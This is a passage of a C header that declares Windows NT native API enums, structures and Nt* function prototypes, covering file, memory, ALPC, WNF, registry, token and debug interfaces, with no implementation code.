PFILTER_BOOT_OPTION_OPERATION; typedef enum _EVENT_TYPE { NotificationEvent = 0, SynchronizationEvent = 1, } EVENT_TYPE, * PEVENT_TYPE; typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1]; } FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; typedef struct _FILE_GET_EA_INFORMATION { ULONG NextEntryOffset; BYTE EaNameLength; CHAR EaName[1]; } FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION; typedef struct _BOOT_OPTIONS { ULONG Version; ULONG Length; ULONG Timeout; ULONG CurrentBootEntryId; ULONG NextBootEntryId; WCHAR HeadlessRedirection[1]; } BOOT_OPTIONS, * PBOOT_OPTIONS; typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP; typedef enum _WNF_DATA_SCOPE { WnfDataScopeSystem = 0, WnfDataScopeSession = 1, WnfDataScopeUser = 2, WnfDataScopeProcess = 3, WnfDataScopeMachine = 4 } WNF_DATA_SCOPE, * PWNF_DATA_SCOPE; typedef enum _WNF_STATE_NAME_LIFETIME { WnfWellKnownStateName = 0, WnfPermanentStateName = 1, WnfPersistentStateName = 2, WnfTemporaryStateName = 3 } WNF_STATE_NAME_LIFETIME, * PWNF_STATE_NAME_LIFETIME; typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS { VmPrefetchInformation, VmPagePriorityInformation, VmCfgCallTargetInformation } VIRTUAL_MEMORY_INFORMATION_CLASS, * PVIRTUAL_MEMORY_INFORMATION_CLASS; typedef enum _IO_SESSION_EVENT { IoSessionEventIgnore, IoSessionEventCreated, IoSessionEventTerminated, IoSessionEventConnected, IoSessionEventDisconnected, IoSessionEventLogon, IoSessionEventLogoff, IoSessionEventMax } IO_SESSION_EVENT, * PIO_SESSION_EVENT; typedef enum _PORT_INFORMATION_CLASS { PortBasicInformation, #if DEVL PortDumpInformation #endif } PORT_INFORMATION_CLASS, * PPORT_INFORMATION_CLASS; typedef enum _PLUGPLAY_CONTROL_CLASS { PlugPlayControlEnumerateDevice, PlugPlayControlRegisterNewDevice, PlugPlayControlDeregisterDevice, PlugPlayControlInitializeDevice, PlugPlayControlStartDevice, PlugPlayControlUnlockDevice, PlugPlayControlQueryAndRemoveDevice, PlugPlayControlUserResponse, PlugPlayControlGenerateLegacyDevice, PlugPlayControlGetInterfaceDeviceList, PlugPlayControlProperty, PlugPlayControlDeviceClassAssociation, PlugPlayControlGetRelatedDevice, PlugPlayControlGetInterfaceDeviceAlias, PlugPlayControlDeviceStatus, PlugPlayControlGetDeviceDepth, PlugPlayControlQueryDeviceRelations, PlugPlayControlTargetDeviceRelation, PlugPlayControlQueryConflictList, PlugPlayControlRetrieveDock, PlugPlayControlResetDevice, PlugPlayControlHaltDevice, PlugPlayControlGetBlockedDriverList, MaxPlugPlayControl } PLUGPLAY_CONTROL_CLASS, * PPLUGPLAY_CONTROL_CLASS; typedef enum _IO_COMPLETION_INFORMATION_CLASS { IoCompletionBasicInformation } IO_COMPLETION_INFORMATION_CLASS, * PIO_COMPLETION_INFORMATION_CLASS; typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT, * PSECTION_INHERIT; typedef enum _DEBUGOBJECTINFOCLASS { DebugObjectFlags = 1, MaxDebugObjectInfoClass } DEBUGOBJECTINFOCLASS, * PDEBUGOBJECTINFOCLASS; typedef enum _SEMAPHORE_INFORMATION_CLASS { SemaphoreBasicInformation } SEMAPHORE_INFORMATION_CLASS, * PSEMAPHORE_INFORMATION_CLASS; typedef struct _PS_ATTRIBUTE_LIST { SIZE_T TotalLength; PS_ATTRIBUTE Attributes[1]; } PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; typedef enum _VDMSERVICECLASS { VdmStartExecution, VdmQueueInterrupt, VdmDelayInterrupt, VdmInitialize, VdmFeatures, VdmSetInt21Handler, VdmQueryDir, VdmPrinterDirectIoOpen, VdmPrinterDirectIoClose, VdmPrinterInitialize, VdmSetLdtEntries, VdmSetProcessLdtInfo, VdmAdlibEmulation, VdmPMCliControl, VdmQueryVdmProcess } VDMSERVICECLASS, * PVDMSERVICECLASS; typedef struct _PS_CREATE_INFO { SIZE_T Size; PS_CREATE_STATE State; union { // PsCreateInitialState struct { union { ULONG InitFlags; struct { UCHAR WriteOutputOnExit : 1; UCHAR DetectManifest : 1; UCHAR IFEOSkipDebugger : 1; UCHAR IFEODoNotPropagateKeyState : 1; UCHAR SpareBits1 : 4; UCHAR SpareBits2 : 8; USHORT ProhibitedImageCharacteristics : 16; }; }; ACCESS_MASK AdditionalFileAccess; } InitState; // PsCreateFailOnSectionCreate struct { HANDLE FileHandle; } FailSection; // PsCreateFailExeFormat struct { USHORT DllCharacteristics; } ExeFormat; // PsCreateFailExeName struct { HANDLE IFEOKey; } ExeName; // PsCreateSuccess struct { union { ULONG OutputFlags; struct { UCHAR ProtectedProcess : 1; UCHAR AddressSpaceOverride : 1; UCHAR DevOverrideEnabled : 1; // from Image File Execution Options UCHAR ManifestDetected : 1; UCHAR ProtectedProcessLight : 1; UCHAR SpareBits1 : 3; UCHAR SpareBits2 : 8; USHORT SpareBits3 : 16; }; }; HANDLE FileHandle; HANDLE SectionHandle; ULONGLONG UserProcessParametersNative; ULONG UserProcessParametersWow64; ULONG CurrentParameterFlags; ULONGLONG PebAddressNative; ULONG PebAddressWow64; ULONGLONG ManifestAddress; ULONG ManifestSize; } SuccessState; }; } PS_CREATE_INFO, * PPS_CREATE_INFO; typedef enum _MEMORY_INFORMATION_CLASS { MemoryBasicInformation, MemoryWorkingSetInformation, MemoryMappedFilenameInformation, MemoryRegionInformation, MemoryWorkingSetExInformation, MemorySharedCommitInformation, MemoryImageInformation, MemoryRegionInformationEx, MemoryPrivilegedBasicInformation, MemoryEnclaveImageInformation, MemoryBasicInformationCapped } MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS; typedef enum _MEMORY_RESERVE_TYPE { MemoryReserveUserApc, MemoryReserveIoCompletion, MemoryReserveTypeMax } MEMORY_RESERVE_TYPE, * PMEMORY_RESERVE_TYPE; typedef enum _ALPC_PORT_INFORMATION_CLASS { AlpcBasicInformation, AlpcPortInformation, AlpcAssociateCompletionPortInformation, AlpcConnectedSIDInformation, AlpcServerInformation, AlpcMessageZoneInformation, AlpcRegisterCompletionListInformation, AlpcUnregisterCompletionListInformation, AlpcAdjustCompletionListConcurrencyCountInformation, AlpcRegisterCallbackInformation, AlpcCompletionListRundownInformation } ALPC_PORT_INFORMATION_CLASS, * PALPC_PORT_INFORMATION_CLASS; typedef struct _ALPC_CONTEXT_ATTR { PVOID PortContext; PVOID MessageContext; ULONG SequenceNumber; ULONG MessageID; ULONG CallbackID; } ALPC_CONTEXT_ATTR, * PALPC_CONTEXT_ATTR; typedef struct _ALPC_DATA_VIEW_ATTR { ULONG Flags; HANDLE SectionHandle; PVOID ViewBase; SIZE_T ViewSize; } ALPC_DATA_VIEW_ATTR, * PALPC_DATA_VIEW_ATTR; typedef struct _ALPC_SECURITY_ATTR { ULONG Flags; PSECURITY_QUALITY_OF_SERVICE SecurityQos; HANDLE ContextHandle; ULONG Reserved1; ULONG Reserved2; } ALPC_SECURITY_ATTR, * PALPC_SECURITY_ATTR; typedef PVOID* PPVOID; typedef enum _KPROFILE_SOURCE { ProfileTime = 0, ProfileAlignmentFixup = 1, ProfileTotalIssues = 2, ProfilePipelineDry = 3, ProfileLoadInstructions = 4, ProfilePipelineFrozen = 5, ProfileBranchInstructions = 6, ProfileTotalNonissues = 7, ProfileDcacheMisses = 8, ProfileIcacheMisses = 9, ProfileCacheMisses = 10, ProfileBranchMispredictions = 11, ProfileStoreInstructions = 12, ProfileFpInstructions = 13, ProfileIntegerInstructions = 14, Profile2Issue = 15, Profile3Issue = 16, Profile4Issue = 17, ProfileSpecialInstructions = 18, ProfileTotalCycles = 19, ProfileIcacheIssues = 20, ProfileDcacheAccesses = 21, ProfileMemoryBarrierCycles = 22, ProfileLoadLinkedIssues = 23, ProfileMaximum = 24, } KPROFILE_SOURCE, * PKPROFILE_SOURCE; typedef enum _ALPC_MESSAGE_INFORMATION_CLASS { AlpcMessageSidInformation, AlpcMessageTokenModifiedIdInformation } ALPC_MESSAGE_INFORMATION_CLASS, * PALPC_MESSAGE_INFORMATION_CLASS; typedef enum _WORKERFACTORYINFOCLASS { WorkerFactoryTimeout, WorkerFactoryRetryTimeout, WorkerFactoryIdleTimeout, WorkerFactoryBindingCount, WorkerFactoryThreadMinimum, WorkerFactoryThreadMaximum, WorkerFactoryPaused, WorkerFactoryBasicInformation, WorkerFactoryAdjustThreadGoal, WorkerFactoryCallbackType, WorkerFactoryStackInformation, MaxWorkerFactoryInfoClass } WORKERFACTORYINFOCLASS, * PWORKERFACTORYINFOCLASS; typedef enum _MEMORY_PARTITION_INFORMATION_CLASS { SystemMemoryPartitionInformation, SystemMemoryPartitionMoveMemory, SystemMemoryPartitionAddPagefile, SystemMemoryPartitionCombineMemory, SystemMemoryPartitionInitialAddMemory, SystemMemoryPartitionGetMemoryEvents, SystemMemoryPartitionMax } MEMORY_PARTITION_INFORMATION_CLASS, * PMEMORY_PARTITION_INFORMATION_CLASS; typedef enum _MUTANT_INFORMATION_CLASS { MutantBasicInformation, MutantOwnerInformation } MUTANT_INFORMATION_CLASS, * PMUTANT_INFORMATION_CLASS; typedef enum _ATOM_INFORMATION_CLASS { AtomBasicInformation, AtomTableInformation } ATOM_INFORMATION_CLASS, * PATOM_INFORMATION_CLASS; typedef enum _SHUTDOWN_ACTION { ShutdownNoReboot, ShutdownReboot, ShutdownPowerOff } SHUTDOWN_ACTION; typedef VOID(CALLBACK* PTIMER_APC_ROUTINE)( IN PVOID TimerContext, IN ULONG TimerLowValue, IN LONG TimerHighValue); typedef enum _KEY_VALUE_INFORMATION_CLASS { KeyValueBasicInformation = 0, KeyValueFullInformation, KeyValuePartialInformation, KeyValueFullInformationAlign64, KeyValuePartialInformationAlign64, MaxKeyValueInfoClass } KEY_VALUE_INFORMATION_CLASS; typedef LANGID* PLANGID; typedef struct _PLUGPLAY_EVENT_BLOCK { GUID EventGuid; PLUGPLAY_EVENT_CATEGORY EventCategory; PULONG Result; ULONG Flags; ULONG TotalSize; PVOID DeviceObject; union { struct { GUID ClassGuid; WCHAR SymbolicLinkName[1]; } DeviceClass; struct { WCHAR DeviceIds[1]; } TargetDevice; struct { WCHAR DeviceId[1]; } InstallDevice; struct { PVOID NotificationStructure; WCHAR DeviceIds[1]; } CustomNotification; struct { PVOID Notification; } ProfileNotification; struct { ULONG NotificationCode; ULONG NotificationData; } PowerNotification; struct { PNP_VETO_TYPE VetoType; WCHAR DeviceIdVetoNameBuffer[1]; // DeviceIdVetoName } VetoNotification; struct { GUID BlockedDriverGuid; } BlockedDriverNotification; struct { WCHAR ParentId[1]; } InvalidIDNotification; } u; } PLUGPLAY_EVENT_BLOCK, * PPLUGPLAY_EVENT_BLOCK; typedef VOID(NTAPI* PIO_APC_ROUTINE) ( IN PVOID ApcContext, IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved); typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; typedef enum _DIRECTORY_NOTIFY_INFORMATION_CLASS { DirectoryNotifyInformation = 1, DirectoryNotifyExtendedInformation = 2, } DIRECTORY_NOTIFY_INFORMATION_CLASS, * PDIRECTORY_NOTIFY_INFORMATION_CLASS; typedef enum _EVENT_INFORMATION_CLASS { EventBasicInformation } EVENT_INFORMATION_CLASS, * PEVENT_INFORMATION_CLASS; typedef struct _ALPC_MESSAGE_ATTRIBUTES { unsigned long AllocatedAttributes; unsigned long ValidAttributes; } ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES; typedef struct _ALPC_PORT_ATTRIBUTES { ULONG Flags; SECURITY_QUALITY_OF_SERVICE SecurityQos; SIZE_T MaxMessageLength; SIZE_T MemoryBandwidth; SIZE_T MaxPoolUsage; SIZE_T MaxSectionSize; SIZE_T MaxViewSize; SIZE_T MaxTotalSectionSize; ULONG DupObjectTypes; #ifdef _WIN64 ULONG Reserved; #endif } ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES; typedef enum _IO_SESSION_STATE { IoSessionStateCreated = 1, IoSessionStateInitialized = 2, IoSessionStateConnected = 3, IoSessionStateDisconnected = 4, IoSessionStateDisconnectedLoggedOn = 5, IoSessionStateLoggedOn = 6, IoSessionStateLoggedOff = 7, IoSessionStateTerminated = 8, IoSessionStateMax = 9, } IO_SESSION_STATE, * PIO_SESSION_STATE; typedef const WNF_STATE_NAME* PCWNF_STATE_NAME; typedef const WNF_TYPE_ID* PCWNF_TYPE_ID; typedef struct _WNF_DELIVERY_DESCRIPTOR { unsigned __int64 SubscriptionId; WNF_STATE_NAME StateName; unsigned long ChangeStamp; unsigned long StateDataSize; unsigned long EventMask; WNF_TYPE_ID TypeId; unsigned long StateDataOffset; } WNF_DELIVERY_DESCRIPTOR, * PWNF_DELIVERY_DESCRIPTOR; typedef enum _DEBUG_CONTROL_CODE { SysDbgQueryModuleInformation = 0, SysDbgQueryTraceInformation = 1, SysDbgSetTracePoint = 2, SysDbgSetSpecialCall = 3, SysDbgClearSpecialCalls = 4, SysDbgQuerySpecialCalls = 5, SysDbgBreakPoint = 6, SysDbgQueryVersion = 7, SysDbgReadVirtual = 8, SysDbgWriteVirtual = 9, SysDbgReadPhysical = 10, SysDbgWritePhysical = 11, SysDbgReadControlSpace = 12, SysDbgWriteControlSpace = 13, SysDbgReadIoSpace = 14, SysDbgWriteIoSpace = 15, SysDbgReadMsr = 16, SysDbgWriteMsr = 17, SysDbgReadBusData = 18, SysDbgWriteBusData = 19, SysDbgCheckLowMemory = 20, SysDbgEnableKernelDebugger = 21, SysDbgDisableKernelDebugger = 22, SysDbgGetAutoKdEnable = 23, SysDbgSetAutoKdEnable = 24, SysDbgGetPrintBufferSize = 25, SysDbgSetPrintBufferSize = 26, SysDbgGetKdUmExceptionEnable = 27, SysDbgSetKdUmExceptionEnable = 28, SysDbgGetTriageDump = 29, SysDbgGetKdBlockEnable = 30, SysDbgSetKdBlockEnable = 31 } DEBUG_CONTROL_CODE, * PDEBUG_CONTROL_CODE; typedef struct _PORT_MESSAGE { union { union { struct { short DataLength; short TotalLength; } s1; unsigned long Length; }; } u1; union { union { struct { short Type; short DataInfoOffset; } s2; unsigned long ZeroInit; }; } u2; union { CLIENT_ID ClientId; double DoNotUseThisField; }; unsigned long MessageId; union { unsigned __int64 ClientViewSize; struct { unsigned long CallbackId; long __PADDING__[1]; }; }; } PORT_MESSAGE, * PPORT_MESSAGE; typedef struct FILE_BASIC_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; ULONG FileAttributes; } FILE_BASIC_INFORMATION, * PFILE_BASIC_INFORMATION; typedef struct _PORT_SECTION_READ { ULONG Length; ULONG ViewSize; ULONG ViewBase; } PORT_SECTION_READ, * PPORT_SECTION_READ; typedef struct _PORT_SECTION_WRITE { ULONG Length; HANDLE SectionHandle; ULONG SectionOffset; ULONG ViewSize; PVOID ViewBase; PVOID TargetViewBase; } PORT_SECTION_WRITE, * PPORT_SECTION_WRITE; typedef enum _TIMER_TYPE { NotificationTimer, SynchronizationTimer } TIMER_TYPE, * PTIMER_TYPE; typedef struct _BOOT_ENTRY { ULONG Version; ULONG Length; ULONG Id; ULONG Attributes; ULONG FriendlyNameOffset; ULONG BootFilePathOffset; ULONG OsOptionsLength; UCHAR OsOptions[ANYSIZE_ARRAY]; } BOOT_ENTRY, * PBOOT_ENTRY; typedef struct _EFI_DRIVER_ENTRY { ULONG Version; ULONG Length; ULONG Id; ULONG Attributes; ULONG FriendlyNameOffset; ULONG DriverFilePathOffset; } EFI_DRIVER_ENTRY, * PEFI_DRIVER_ENTRY; typedef USHORT RTL_ATOM, * PRTL_ATOM; typedef enum _TIMER_SET_INFORMATION_CLASS { TimerSetCoalescableTimer, MaxTimerInfoClass } TIMER_SET_INFORMATION_CLASS, * PTIMER_SET_INFORMATION_CLASS; typedef enum _FSINFOCLASS { FileFsVolumeInformation = 1, FileFsLabelInformation = 2, FileFsSizeInformation = 3, FileFsDeviceInformation = 4, FileFsAttributeInformation = 5, FileFsControlInformation = 6, FileFsFullSizeInformation = 7, FileFsObjectIdInformation = 8, FileFsDriverPathInformation = 9, FileFsVolumeFlagsInformation = 10, FileFsSectorSizeInformation = 11, FileFsDataCopyInformation = 12, FileFsMetadataSizeInformation = 13, FileFsFullSizeInformationEx = 14, FileFsMaximumInformation = 15, } FSINFOCLASS, * PFSINFOCLASS; typedef enum _WAIT_TYPE { WaitAll = 0, WaitAny = 1 } WAIT_TYPE, * PWAIT_TYPE; typedef struct _USER_STACK { PVOID FixedStackBase; PVOID FixedStackLimit; PVOID ExpandableStackBase; PVOID ExpandableStackLimit; PVOID ExpandableStackBottom; } USER_STACK, * PUSER_STACK; typedef enum _SECTION_INFORMATION_CLASS { SectionBasicInformation, SectionImageInformation, } SECTION_INFORMATION_CLASS, * PSECTION_INFORMATION_CLASS; typedef enum _APPHELPCACHESERVICECLASS { ApphelpCacheServiceLookup = 0, ApphelpCacheServiceRemove = 1, ApphelpCacheServiceUpdate = 2, ApphelpCacheServiceFlush = 3, ApphelpCacheServiceDump = 4, ApphelpDBGReadRegistry = 0x100, ApphelpDBGWriteRegistry = 0x101, } APPHELPCACHESERVICECLASS, * PAPPHELPCACHESERVICECLASS; typedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION { USHORT Version; USHORT Reserved; ULONG AttributeCount; union { PTOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1; } Attribute; } TOKEN_SECURITY_ATTRIBUTES_INFORMATION, * PTOKEN_SECURITY_ATTRIBUTES_INFORMATION; typedef struct _FILE_IO_COMPLETION_INFORMATION { PVOID KeyContext; PVOID ApcContext; IO_STATUS_BLOCK IoStatusBlock; } FILE_IO_COMPLETION_INFORMATION, * PFILE_IO_COMPLETION_INFORMATION; typedef PVOID PT2_CANCEL_PARAMETERS; typedef enum _THREADINFOCLASS { ThreadBasicInformation, ThreadTimes, ThreadPriority, ThreadBasePriority, ThreadAffinityMask, ThreadImpersonationToken, ThreadDescriptorTableEntry, ThreadEnableAlignmentFaultFixup, ThreadEventPair_Reusable, ThreadQuerySetWin32StartAddress, ThreadZeroTlsCell, ThreadPerformanceCount, ThreadAmILastThread, ThreadIdealProcessor, ThreadPriorityBoost, ThreadSetTlsArrayAddress, ThreadIsIoPending, ThreadHideFromDebugger, ThreadBreakOnTermination, MaxThreadInfoClass } THREADINFOCLASS, * PTHREADINFOCLASS; typedef enum _OBJECT_INFORMATION_CLASS { ObjectBasicInformation, ObjectNameInformation, ObjectTypeInformation, ObjectAllTypesInformation, ObjectHandleInformation } OBJECT_INFORMATION_CLASS, * POBJECT_INFORMATION_CLASS; typedef enum _FILE_INFORMATION_CLASS { FileDirectoryInformation = 1, FileFullDirectoryInformation = 2, FileBothDirectoryInformation = 3, FileBasicInformation = 4, FileStandardInformation = 5, FileInternalInformation = 6, FileEaInformation = 7, FileAccessInformation = 8, FileNameInformation = 9, FileRenameInformation = 10, FileLinkInformation = 11, FileNamesInformation = 12, FileDispositionInformation = 13, FilePositionInformation = 14, FileFullEaInformation = 15, FileModeInformation = 16, FileAlignmentInformation = 17, FileAllInformation = 18, FileAllocationInformation = 19, FileEndOfFileInformation = 20, FileAlternateNameInformation = 21, FileStreamInformation = 22, FilePipeInformation = 23, FilePipeLocalInformation = 24, FilePipeRemoteInformation = 25, FileMailslotQueryInformation = 26, FileMailslotSetInformation = 27, FileCompressionInformation = 28, FileObjectIdInformation = 29, FileCompletionInformation = 30, FileMoveClusterInformation = 31, FileQuotaInformation = 32, FileReparsePointInformation = 33, FileNetworkOpenInformation = 34, FileAttributeTagInformation = 35, FileTrackingInformation = 36, FileIdBothDirectoryInformation = 37, FileIdFullDirectoryInformation = 38, FileValidDataLengthInformation = 39, FileShortNameInformation = 40, FileIoCompletionNotificationInformation = 41, FileIoStatusBlockRangeInformation = 42, FileIoPriorityHintInformation = 43, FileSfioReserveInformation = 44, FileSfioVolumeInformation = 45, FileHardLinkInformation = 46, FileProcessIdsUsingFileInformation = 47, FileNormalizedNameInformation = 48, FileNetworkPhysicalNameInformation = 49, FileIdGlobalTxDirectoryInformation = 50, FileIsRemoteDeviceInformation = 51, FileUnusedInformation = 52, FileNumaNodeInformation = 53, FileStandardLinkInformation = 54, FileRemoteProtocolInformation = 55, FileRenameInformationBypassAccessCheck = 56, FileLinkInformationBypassAccessCheck = 57, FileVolumeNameInformation = 58, FileIdInformation = 59, FileIdExtdDirectoryInformation = 60, FileReplaceCompletionInformation = 61, FileHardLinkFullIdInformation = 62, FileIdExtdBothDirectoryInformation = 63, FileDispositionInformationEx = 64, FileRenameInformationEx = 65, FileRenameInformationExBypassAccessCheck = 66, FileMaximumInformation = 67, } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; typedef enum _KEY_INFORMATION_CLASS { KeyBasicInformation = 0, KeyNodeInformation = 1, KeyFullInformation = 2, KeyNameInformation = 3, KeyCachedInformation = 4, KeyFlagsInformation = 5, KeyVirtualizationInformation = 6, KeyHandleTagsInformation = 7, MaxKeyInfoClass = 8 } KEY_INFORMATION_CLASS, * PKEY_INFORMATION_CLASS; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef enum _TIMER_INFORMATION_CLASS { TimerBasicInformation } TIMER_INFORMATION_CLASS, * PTIMER_INFORMATION_CLASS; typedef struct _KCONTINUE_ARGUMENT { KCONTINUE_TYPE ContinueType; ULONG ContinueFlags; ULONGLONG Reserved[2]; } KCONTINUE_ARGUMENT, * PKCONTINUE_ARGUMENT; EXTERN_C NTSTATUS NtAccessCheck( IN PSECURITY_DESCRIPTOR pSecurityDescriptor, IN HANDLE ClientToken, IN ACCESS_MASK DesiaredAccess, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet OPTIONAL, IN OUT PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PBOOLEAN AccessStatus); EXTERN_C NTSTATUS NtWorkerFactoryWorkerReady( IN HANDLE WorkerFactoryHandle); EXTERN_C NTSTATUS NtAcceptConnectPort( OUT PHANDLE ServerPortHandle, IN ULONG AlternativeReceivePortHandle OPTIONAL, IN PPORT_MESSAGE ConnectionReply, IN BOOLEAN AcceptConnection, IN OUT PPORT_SECTION_WRITE ServerSharedMemory OPTIONAL, OUT PPORT_SECTION_READ ClientSharedMemory OPTIONAL); EXTERN_C NTSTATUS NtMapUserPhysicalPagesScatter( IN PVOID VirtualAddresses, IN PULONG NumberOfPages, IN PULONG UserPfnArray OPTIONAL); EXTERN_C NTSTATUS NtWaitForSingleObject( IN HANDLE ObjectHandle, IN BOOLEAN Alertable, IN PLARGE_INTEGER TimeOut OPTIONAL); EXTERN_C NTSTATUS NtCallbackReturn( IN PVOID OutputBuffer OPTIONAL, IN ULONG OutputLength, IN NTSTATUS Status); EXTERN_C NTSTATUS NtReadFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, OUT PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL); EXTERN_C NTSTATUS NtDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength); EXTERN_C NTSTATUS NtWriteFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL); EXTERN_C NTSTATUS NtRemoveIoCompletion( IN HANDLE IoCompletionHandle, OUT PULONG KeyContext, OUT PULONG ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER Timeout OPTIONAL); EXTERN_C NTSTATUS NtReleaseSemaphore( IN HANDLE SemaphoreHandle, IN LONG ReleaseCount, OUT PLONG PreviousCount OPTIONAL); EXTERN_C NTSTATUS NtReplyWaitReceivePort( IN HANDLE PortHandle, OUT PVOID PortContext OPTIONAL, IN PPORT_MESSAGE ReplyMessage OPTIONAL, OUT PPORT_MESSAGE ReceiveMessage); EXTERN_C NTSTATUS NtReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE ReplyMessage); EXTERN_C NTSTATUS NtSetInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength); EXTERN_C NTSTATUS NtSetEvent( IN HANDLE EventHandle, OUT PULONG PreviousState OPTIONAL); EXTERN_C NTSTATUS NtClose( IN HANDLE Handle); EXTERN_C NTSTATUS NtQueryObject( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, OUT PVOID ObjectInformation OPTIONAL, IN ULONG ObjectInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass); EXTERN_C NTSTATUS NtOpenKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation OPTIONAL, IN ULONG Length, OUT PULONG ResultLength); EXTERN_C NTSTATUS NtFindAtom( IN PWSTR AtomName OPTIONAL, IN ULONG Length, OUT PUSHORT Atom OPTIONAL); EXTERN_C NTSTATUS NtQueryDefaultLocale( IN BOOLEAN UserProfile, OUT PLCID DefaultLocaleId); EXTERN_C NTSTATUS NtQueryKey( IN HANDLE KeyHandle, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation OPTIONAL, IN ULONG Length, OUT PULONG ResultLength); EXTERN_C NTSTATUS NtQueryValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation OPTIONAL, IN ULONG Length, OUT PULONG ResultLength); EXTERN_C NTSTATUS NtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect); EXTERN_C NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtWaitForMultipleObjects32( IN ULONG ObjectCount, IN PHANDLE Handles, IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL); EXTERN_C NTSTATUS NtWriteFileGather( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, IN PLARGE_INTEGER ByteOffset, IN PULONG Key OPTIONAL); EXTERN_C NTSTATUS NtCreateKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG TitleIndex, IN PUNICODE_STRING Class OPTIONAL, IN ULONG CreateOptions, OUT PULONG Disposition OPTIONAL); EXTERN_C NTSTATUS NtFreeVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG FreeType); EXTERN_C NTSTATUS NtImpersonateClientOfPort( IN HANDLE PortHandle, IN PPORT_MESSAGE Message); EXTERN_C NTSTATUS NtReleaseMutant( IN HANDLE MutantHandle, OUT PULONG PreviousCount OPTIONAL); EXTERN_C NTSTATUS NtQueryInformationToken( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, OUT PVOID TokenInformation, IN ULONG TokenInformationLength, OUT PULONG ReturnLength); EXTERN_C NTSTATUS NtRequestWaitReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage, OUT PPORT_MESSAGE ReplyMessage); EXTERN_C NTSTATUS NtQueryVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT PSIZE_T ReturnLength 